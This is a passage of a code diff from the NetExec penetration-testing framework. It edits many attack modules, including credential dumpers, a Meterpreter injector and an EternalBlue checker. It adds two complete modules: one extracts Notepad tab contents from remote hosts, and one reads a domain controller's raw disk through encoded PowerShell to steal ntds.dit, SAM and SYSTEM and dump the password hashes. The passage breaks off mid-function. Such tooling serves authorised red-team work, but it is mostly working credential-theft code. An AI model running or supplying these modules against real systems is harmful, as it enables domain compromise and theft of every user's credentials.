def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
-2
View File
@@ -6,8 +6,6 @@ class NXCModule:
name = "masky"
description = "Remotely dump domain user credentials via an ADCS and a KDC"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
r"""
-2
View File
@@ -10,8 +10,6 @@ class NXCModule:
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.rand = None
-2
View File
@@ -9,8 +9,6 @@ class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
+1 -3
View File
@@ -16,6 +16,7 @@ class MRemoteNgEncryptionAttributes:
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
@@ -25,8 +26,6 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
@@ -181,7 +180,6 @@ class NXCModule:
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
+13 -24
View File
@@ -31,19 +31,19 @@ class SmbHeader(Structure):
]
def __init__(self, buffer):
nxc_logger.debug("server_component : %04x" % self.server_component)
nxc_logger.debug("smb_command : %01x" % self.smb_command)
nxc_logger.debug("error_class : %01x" % self.error_class)
nxc_logger.debug("error_code : %02x" % self.error_code)
nxc_logger.debug("flags : %01x" % self.flags)
nxc_logger.debug("flags2 : %02x" % self.flags2)
nxc_logger.debug("process_id_high : %02x" % self.process_id_high)
nxc_logger.debug("signature : %08x" % self.signature)
nxc_logger.debug("reserved2 : %02x" % self.reserved2)
nxc_logger.debug("tree_id : %02x" % self.tree_id)
nxc_logger.debug("process_id : %02x" % self.process_id)
nxc_logger.debug("user_id : %02x" % self.user_id)
nxc_logger.debug("multiplex_id : %02x" % self.multiplex_id)
nxc_logger.debug(f"server_component : {self.server_component:04x}")
nxc_logger.debug(f"smb_command : {self.smb_command:01x}")
nxc_logger.debug(f"error_class : {self.error_class:01x}")
nxc_logger.debug(f"error_code : {self.error_code:02x}")
nxc_logger.debug(f"flags : {self.flags:01x}")
nxc_logger.debug(f"flags2 : {self.flags2:02x}")
nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}")
nxc_logger.debug(f"signature : {self.signature:08x}")
nxc_logger.debug(f"reserved2 : {self.reserved2:02x}")
nxc_logger.debug(f"tree_id : {self.tree_id:02x}")
nxc_logger.debug(f"process_id : {self.process_id:02x}")
nxc_logger.debug(f"user_id : {self.user_id:02x}")
nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}")
def __new__(self, buffer=None):
nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}")
@@ -54,8 +54,6 @@ class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
@@ -72,7 +70,6 @@ class NXCModule:
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
context.log.debug("Buffer size too small, which means the response was not the expected size")
def generate_smb_proto_payload(self, *protos):
"""
Flattens a nested list and merges all bytes objects into a single bytes object.
@@ -98,7 +95,6 @@ class NXCModule:
self.logger.debug(f"Packed proto data: {hex_data}")
return hex_data
def calculate_doublepulsar_xor_key(self, s):
"""
Calculate Doublepulsar Xor Key.
@@ -115,8 +111,6 @@ class NXCModule:
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
return x & 0xffffffff # truncate to 32 bits
def negotiate_proto_request(self):
"""Generate a negotiate_proto_request packet."""
self.logger.debug("generate negotiate proto request")
@@ -160,7 +154,6 @@ class NXCModule:
# Return the generated SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
def session_setup_andx_request(self):
"""Generate session setup andx request."""
self.logger.debug("generate session setup andx request"
@@ -210,7 +203,6 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
def tree_connect_andx_request(self, ip, userid):
"""Generate tree connect andx request.
@@ -279,7 +271,6 @@ class NXCModule:
# Generate the final SMB protocol payload
return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request)
def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id):
"""
Generate tran2 request.
@@ -345,7 +336,6 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, tran_request)
def trans2_request(self, treeid, processid, userid, multiplex_id):
"""Generate trans2 request.
@@ -409,7 +399,6 @@ class NXCModule:
return self.generate_smb_proto_payload(netbios, smb_header, trans2_request)
def check(self, ip, port=445):
"""Check if MS17_010 SMB Vulnerability exists.
+29 -78
View File
@@ -1,93 +1,44 @@
# MSOL module for nxc
# MSOL module for NetExec
# Author of the module : https://twitter.com/Daahtk
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
from nxc.paths import TMP_PATH
# Fully rewritten by @NeffIsBack
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""Module by @NeffIsBack"""
name = "msol"
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.use_embedded = None
self.MSOL_PS1 = None
self.msol_embedded = None
self.cmd = None
self.msolmdl = None
self.msol = None
self.tmp_share = None
self.share = None
self.tmp_dir = None
self.context = context
self.module_options = module_options
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""MSOL_PS1 // Path to the msol binary on your computer"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.msol = "msol.ps1"
self.use_embedded = True
self.msolmdl = self.cmd = ""
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
self.msol_embedded = msolsc.read()
if "MSOL_PS1" in module_options:
self.MSOL_PS1 = module_options["MSOL_PS1"]
self.use_embedded = False
def exec_script(self, _, connection):
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
return connection.execute(command, True)
"""No module options available."""
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = f"{TMP_PATH}/msol.ps1"
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
exit(1)
else:
if path.isfile(self.MSOL_PS1):
file_to_upload = self.MSOL_PS1
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
context.log.fail(line.replace("[!]", "").strip())
else:
context.log.fail(f"Cannot open {self.MSOL_PS1}")
exit(1)
context.log.display(f"Uploading {self.msol}")
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success("Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
if self.cmd == "":
context.log.display("Executing the script")
p = self.exec_script(context, connection)
for line in p.splitlines():
p1, p2 = line.split(" ", 1)
context.log.highlight(f"{p1} {p2}")
else:
context.log.fail("Script Execution Impossible")
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success("Msol script successfully deleted")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
context.log.highlight(line.strip())
+1 -2
View File
@@ -1,13 +1,12 @@
import sys
class NXCModule:
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
+1 -5
View File
@@ -23,8 +23,6 @@ class NXCModule:
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.admin_privs = None
@@ -300,9 +298,7 @@ class NXCModule:
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
"""
res = self.query_and_get_output(exec_as + query)
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
return False
return bool(res and "database_role" in res[0] and res[0]["database_role"] == "db_owner")
def find_dbowner_priv(self, databases, exec_as="") -> list:
"""
-2
View File
@@ -16,8 +16,6 @@ class NXCModule:
name = "nanodump"
description = "Get lsass dump using nanodump and parse the result with pypykatz"
supported_protocols = ["smb", "mssql"]
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.connection = None
-2
View File
@@ -12,8 +12,6 @@ class NXCModule:
name = "nopac"
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
-2
View File
@@ -11,8 +11,6 @@ class NXCModule:
name = "notepad++"
description = "Extracts notepad++ unsaved files."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
+194
View File
@@ -0,0 +1,194 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
import re
import time
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
smb_error_status = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
"STATUS_ACCESS_DENIED",
"STATUS_NO_SUCH_FILE",
"KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED",
]
class NXCModule:
# Extracts content from Windows Notepad binary tab state files
# Module by @termanix
name = "notepad"
description = "Extracts content from Windows Notepad tab state binary files."
supported_protocols = ["smb"]
def __init__(self, context=None):
self.context = context
self.false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL // Kill for notepad.exe process. Default False."""
if "KILL" not in module_options:
self.kill = False
else:
self.kill = module_options["KILL"]
def extract_strings(self, data, min_length=4):
"""Extract printable strings from binary data, similar to the strings command."""
results = []
# ASCII strings extraction
ascii_strings = re.findall(b"[ -~]{%d,}" % min_length, data)
for s in ascii_strings:
try:
results.append(("ASCII", s.decode("ascii")))
except Exception as e:
self.context.log.fail(f"Failed extracting ASCII strings: {e}")
# UTF-16LE strings extraction (common in Windows)
utf16_pattern = re.compile(b"(?:[\x20-\x7E]\x00){%d,}" % min_length)
utf16_strings = utf16_pattern.findall(data)
for s in utf16_strings:
try:
decoded = s.decode("utf-16-le")
results.append(("UTF-16LE", decoded))
except Exception as e:
self.context.log.fail(f"Failed extracting UTF-16LE strings: {e}")
return results
def is_meaningful_content(self, string):
"""Check if a string has meaningful content."""
# Filter out strings that are just repetitions of the same character
if len(set(string)) <= 2 and len(string) > 4:
return False
# Filter out strings that don't have any letters or numbers
if not any(c.isalnum() for c in string):
return False
# Filter out strings that look like memory addresses or hex dumps
if re.match(r"^[0-9A-F]+$", string) and len(string) >= 8:
return False
# Filter out strings that are just whitespace or control characters
if string.isspace():
return False
# Filter out common binary file markers that aren't actual content
common_garbage = ["NULL", "true", "false", "xmlns", "http://", "https://", "COM1", "COM2", "COM3"]
return string not in common_garbage
def read_and_decode_file(self, connection, context, file_path, user):
buf = BytesIO()
try:
connection.conn.getFile("C$", file_path, buf.write)
except Exception as e:
if "STATUS_SHARING_VIOLATION" in str(e): # It means notepad.exe is open on target.
if self.kill:
try:
context.log.debug(f"Trying to kill notepad.exe process for {user} user.")
# To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs
connection.execute("taskkill /IM notepad.exe /F") # If notepad.exe open by user, needs to kill that process for reading files.
time.sleep(1) # Sleep 1 sec for finding and reading processing
context.log.debug(f"Notepad process was successfully killed for {user}")
connection.conn.getFile("C$", file_path, buf.write)
except Exception as e:
context.log.debug(f"Alternative method failed: {e}")
else:
context.log.fail("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)")
return []
else:
# If it's a different error, just skip this file
context.log.debug(f"Error accessing {file_path}: {e}")
buf.seek(0)
binary_data = buf.read()
# Return only the meaningful strings
return [
string for _, string in self.extract_strings(binary_data)
if self.is_meaningful_content(string)
]
def on_admin_login(self, context, connection):
self.context = context
context.log.display("Searching for Notepad cache...")
for directory in connection.conn.listPath("C$", "Users\\*"):
found = 0
if directory.get_longname() in self.false_positive or not directory.is_directory():
continue
# Path for Windows Notepad tab state files
notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\"
try:
for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"):
if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"):
file_path = f"{notepad_dir}{file.get_longname()}"
# Read the binary file
meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname())
if meaningful_strings:
found += 1
context.log.highlight(f"C:\\{file_path}")
# Output content
content_lines = []
# First loop to handle meaningful strings
for string in meaningful_strings:
if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally
# Read the file into a buffer
meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname())
# Second loop to handle content inside the file
for string in meaningful_strings:
context.log.highlight(f"\t{string}")
content_lines.append(string) # Store the string value only
else:
context.log.highlight(f"\t{string}")
content_lines.append(string) # Store the string value only
# Save to file
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
with open(path, "w+") as output_file:
output_file.write(f"Source: C:\\{file_path}\n\n")
output_file.write("\n".join(content_lines)) # Write strings line by line
context.log.success(f"Notepad tab state content written to: {path}")
except SessionError as e:
error = self.get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND":
context.log.debug(f"Failed for user {directory.get_longname()}: {e}")
else:
context.log.fail(
f"Error enumerating shares: {error}",
color="magenta" if error in smb_error_status else "red",
)
if found == 0:
context.log.info("No Notepad tab state files with meaningful content found")
def get_error_string(self, exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
+555
View File
@@ -0,0 +1,555 @@
# raw-ntds-copy module for nxc
# Author of the module : Bilal Github:@0xb11a1, X:@0xcc00
from base64 import b64decode, b64encode
from os import makedirs
from os.path import join, abspath
from nxc.paths import TMP_PATH
import struct
from dataclasses import dataclass, field
import random
import gzip
from io import BytesIO
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
from nxc.helpers.misc import validate_ntlm
from nxc.helpers.powershell import get_ps_script
class NXCModule:
name = "ntds-dump-raw"
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
supported_protocols = ["smb", "wmi", "winrm"]
files_full_location_to_extract = [
"Windows/System32/config/SYSTEM",
"Windows/System32/config/SAM",
"Windows/NTDS/ntds.dit",
]
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
number_of_file_to_extract = len(files_to_extract)
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
NTFS_LOCATION = 0
MFT_LOCATION = 0
context = None
connection = None
GPT_HEADER_OFFSET = 512
GPT_HEADER_SIZE = 92
PARTITION_ENTRY_SIZE = 128
NUM_PARTITION_ENTRIES = 128
SECTOR_SIZE = 512
CLUSTER_SIZE = 4096
CHUNK_SIZE = 1024 * 1024 * 20 # chunk size of the file to retrive at a time
MFT_local_path = ""
MFT_local_size = 0
db = None
domain = None
RANDOM_RUN_NUM = int(random.random() * 100000000)
output_filename = ""
ATTRIBUTE_NAMES = {
0x10: "$STANDARD_INFORMATION",
0x20: "$ATTRIBUTE_LIST",
0x30: "$FILE_NAME",
0x40: "$OBJECT_ID",
0x50: "$SECURITY_DESCRIPTOR",
0x60: "$VOLUME_NAME",
0x70: "$VOLUME_INFORMATION",
0x80: "$DATA",
0x90: "$INDEX_ROOT",
0xA0: "$INDEX_ALLOCATION",
0xB0: "$BITMAP",
0xC0: "$REPARSE_POINT",
0xD0: "$EA_INFORMATION",
0xE0: "$EA",
0x100: "$LOGGED_UTILITY_STREAM",
}
def __init__(self):
ps_script = ""
with open(get_ps_script("ntds-dump-raw/ntds-dump-raw.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
ps_script += line.strip() + "\n"
self.ps_script_b64 = b64encode(ps_script.encode("UTF-16LE")).decode("utf-8")
@dataclass
class MFA_sector_properties:
filename: str = ""
dataRun: list = field(default_factory=list)
size: int = 0
parent_name: str = ""
parent_record_number: int = 0
full_path: str = ""
def options(self, context, module_options):
"""No options available"""
def read_from_disk(self, offset, size):
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
fixed_size = size // 512 + 512 if size % 512 != 0 else size
# scary base64 powershell code :)
# This to read the PhysicalDrive0 file
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
data_output = self.connection.execute_psh(get_data_script, True)
else:
data_output = self.execute(get_data_script, True)
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
compressed_bytes = b64decode(data_output)[:size]
compressed_stream = BytesIO(compressed_bytes)
with gzip.GzipFile(fileobj=compressed_stream, mode="rb") as gzip_file:
decompressed_bytes = gzip_file.read()
return decompressed_bytes[:size]
def on_admin_login(self, context, connection):
self.host = connection.host
self.connection = connection
self.logger = context.log
self.execute = connection.execute
self.db = connection.db
self.domain = connection.domain
self.output_filename = connection.output_file_template.format(output_folder="ntds")
self.main()
def main(self):
first_section = self.read_from_disk(0, 1024)
if len(first_section) == 0:
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
if first_section[512 : 512 + 8] == b"EFI PART":
self.logger.display("Disk is formated using GPT")
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
if NTFS_LOCATION == -1:
self.logger.fail("[-] NTFS Basic data partition not found ")
else:
self.logger.display("Disk is formated using MBR")
max_parition_size = 0
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
for partition_indx in range(4):
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
if curr_partition_size > max_parition_size:
max_parition_size = curr_partition_size
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
self.NTFS_LOCATION = NTFS_LOCATION
NTFS_header = self.read_from_disk(NTFS_LOCATION, 1024)
self.analyze_NTFS(NTFS_header)
self.logger.display(f"MFT location {hex(self.MFT_LOCATION)}, Cluster_size {self.CLUSTER_SIZE}")
MFT_file_header_data = self.read_from_disk(self.MFT_LOCATION, 1024)
MFT_file_header = self.analyze_MFT_header(MFT_file_header_data)
self.logger.highlight("[+] This may take a while, perfect time to grab a coffee! c[_] ")
self.read_MFT(MFT_file_header)
if self.number_of_file_to_extract != 0:
self.logger.fail("Unable to find all needed files")
return
self.logger.success("Heads up, hashes on the way...")
self.dump_ntds()
def dump_ntds(self):
"""Dumping NTDS and SAM hashes locally from the extracted files"""
# Mostly from nxc/modules/ntdsutil.py
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
boot_key = local_operations.getBootKey()
no_lm_hash = local_operations.checkNoLMHashPolicy()
# SAM hashes
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
domain = self.domain
clean_hash = SAM_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
# NTDS
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
# NTDS hashes
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
SAM.finish()
NTDS.finish()
def analyze_NTFS(self, ntfs_header):
"""Decode the NTFS headers and extract needed infromation from it"""
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
data = struct.unpack(header_format, ntfs_header)
Bytes_per_sector = data[0]
Sectors_per_cluster = data[1]
MFT_cluster_number = data[15]
self.CLUSTER_SIZE = Bytes_per_sector * Sectors_per_cluster
self.MFT_LOCATION = MFT_cluster_number * self.CLUSTER_SIZE + self.NTFS_LOCATION
def read_MFT(self, MFT_file_header: MFA_sector_properties):
"""Extract the content of the MFT and save it to disk"""
# resize dataRun into a small chunks
filename_on_disk = f"{self.host}_MFT_{self.RANDOM_RUN_NUM}.bin"
export_path = join(TMP_PATH, "raw_ntds_dump")
path = abspath(join(export_path, filename_on_disk))
makedirs(export_path, exist_ok=True)
self.MFT_local_path = path
self.logger.display(f"Analyzing & Extracting {MFT_file_header.filename} {MFT_file_header.size / (1024**2)}MB")
for i in MFT_file_header.dataRun:
cluster_loc = i[0] * self.CLUSTER_SIZE
size = i[1] * self.CLUSTER_SIZE
curr_cluster_loc = cluster_loc + self.NTFS_LOCATION
chunk_size = self.CHUNK_SIZE
while size > 0:
if size < chunk_size:
chunk_size = size
self.logger.debug(f"{hex(curr_cluster_loc)=}")
curr_data = self.read_from_disk(curr_cluster_loc, chunk_size)
curr_cluster_loc += chunk_size
size -= chunk_size
with open(path, "ab") as f:
f.write(curr_data)
self.MFT_local_size += chunk_size
self.search_for_the_files(curr_data)
if self.number_of_file_to_extract == 0:
return
def search_for_the_files(self, curr_data):
"""Analyze the current MFT records and extract the targeted files if they are present"""
MFT_record_indx = 0
for curr_record_indx in range(len(curr_data) // 1024):
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
try:
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
continue
except IndexError:
continue
except Exception as e:
self.logger.debug(f"{e} at {curr_record_indx}")
continue
if curr_MFA_sector_properties.filename in self.files_to_extract:
wanted_file_indx = self.files_to_extract.index(curr_MFA_sector_properties.filename)
wanted_file_location = "/".join(self.files_full_location_to_extract[wanted_file_indx].split("/")[:-1])
if curr_MFA_sector_properties.size == 0:
continue
curr_full_path = self.get_full_path(curr_MFA_sector_properties.parent_record_number)
if wanted_file_location.lower() == "/".join(curr_full_path[::-1]).lower():
self.logger.success(f"Found {self.files_full_location_to_extract[wanted_file_indx]} {curr_MFA_sector_properties.size / (1024**2)}MB")
curr_file_local_location = self.extractDataRunBytes(
curr_MFA_sector_properties.dataRun,
filename=f"{curr_MFA_sector_properties.filename}",
offset=self.NTFS_LOCATION,
)
self.extracted_files_location_local[curr_MFA_sector_properties.filename] = curr_file_local_location
self.number_of_file_to_extract -= 1
MFT_record_indx += 1
def get_MFT_record_at(self, record_number):
"""Retrieve an MFT record from dumped data on disk based on the record number"""
if record_number * 1024 < self.MFT_local_size:
with open(self.MFT_local_path, "rb") as f:
f.seek(record_number * 1024, 0)
curr_record_data = f.read(1024)
else:
curr_record_data = self.read_from_disk(self.MFT_LOCATION + (record_number * 1024), 1024)
return curr_record_data
def get_full_path(self, curr_parent_indx):
"""Reconstruct the file full path"""
full_path = []
max_depth = 20 # to prevent Infinite if that ever happened
# for now to check if is reached record index below 10
while curr_parent_indx > 10:
curr_record_data = self.get_MFT_record_at(curr_parent_indx)
curr_MFT_properites = self.analyze_MFT_header(curr_record_data)
if curr_MFT_properites is None or curr_MFT_properites.filename is None or max_depth == 0:
break
full_path.append(curr_MFT_properites.filename)
curr_parent_indx = curr_MFT_properites.parent_record_number
max_depth -= 1
return full_path
def extractDataRunBytes(self, lst, filename, offset=0):
"""Retrieve the content of the file based on its datarun values"""
filename_on_disk = f"{self.host}_{filename}_{self.RANDOM_RUN_NUM}.bin"
export_path = join(TMP_PATH, "raw_ntds_dump")
path = abspath(join(export_path, filename_on_disk))
makedirs(export_path, exist_ok=True)
self.logger.display(f"Extracting {filename} to {path}")
for i in lst:
cluster_loc = i[0] * self.CLUSTER_SIZE
size = i[1] * self.CLUSTER_SIZE
curr_cluster_loc = cluster_loc + offset
chunk_size = self.CHUNK_SIZE
while size > 0:
if size < chunk_size:
chunk_size = size
self.logger.debug(f"{hex(curr_cluster_loc)=}")
curr_data = self.read_from_disk(curr_cluster_loc, chunk_size)
curr_cluster_loc += chunk_size
size -= chunk_size
with open(path, "ab") as f:
f.write(curr_data)
return path
def bytes_to_int_signed(self, lst):
"""Unpack bytes to a signed integer dynamically based on its length"""
lst_len = len(lst)
if lst_len == 1:
return struct.unpack("<b", lst)[0]
if lst_len == 2:
return struct.unpack("<h", lst)[0]
elif lst_len == 4:
return struct.unpack("<i", lst)[0]
elif lst_len == 8:
return struct.unpack("<q", lst)[0]
def bytes_to_int_unsigned(self, lst):
"""Unpack bytes to an unsigned integer dynamically based on its length"""
lst_len = len(lst)
if lst_len == 1:
return struct.unpack("<B", lst)[0]
if lst_len == 2:
return struct.unpack("<H", lst)[0]
elif lst_len == 4:
return struct.unpack("<I", lst)[0]
elif lst_len == 8:
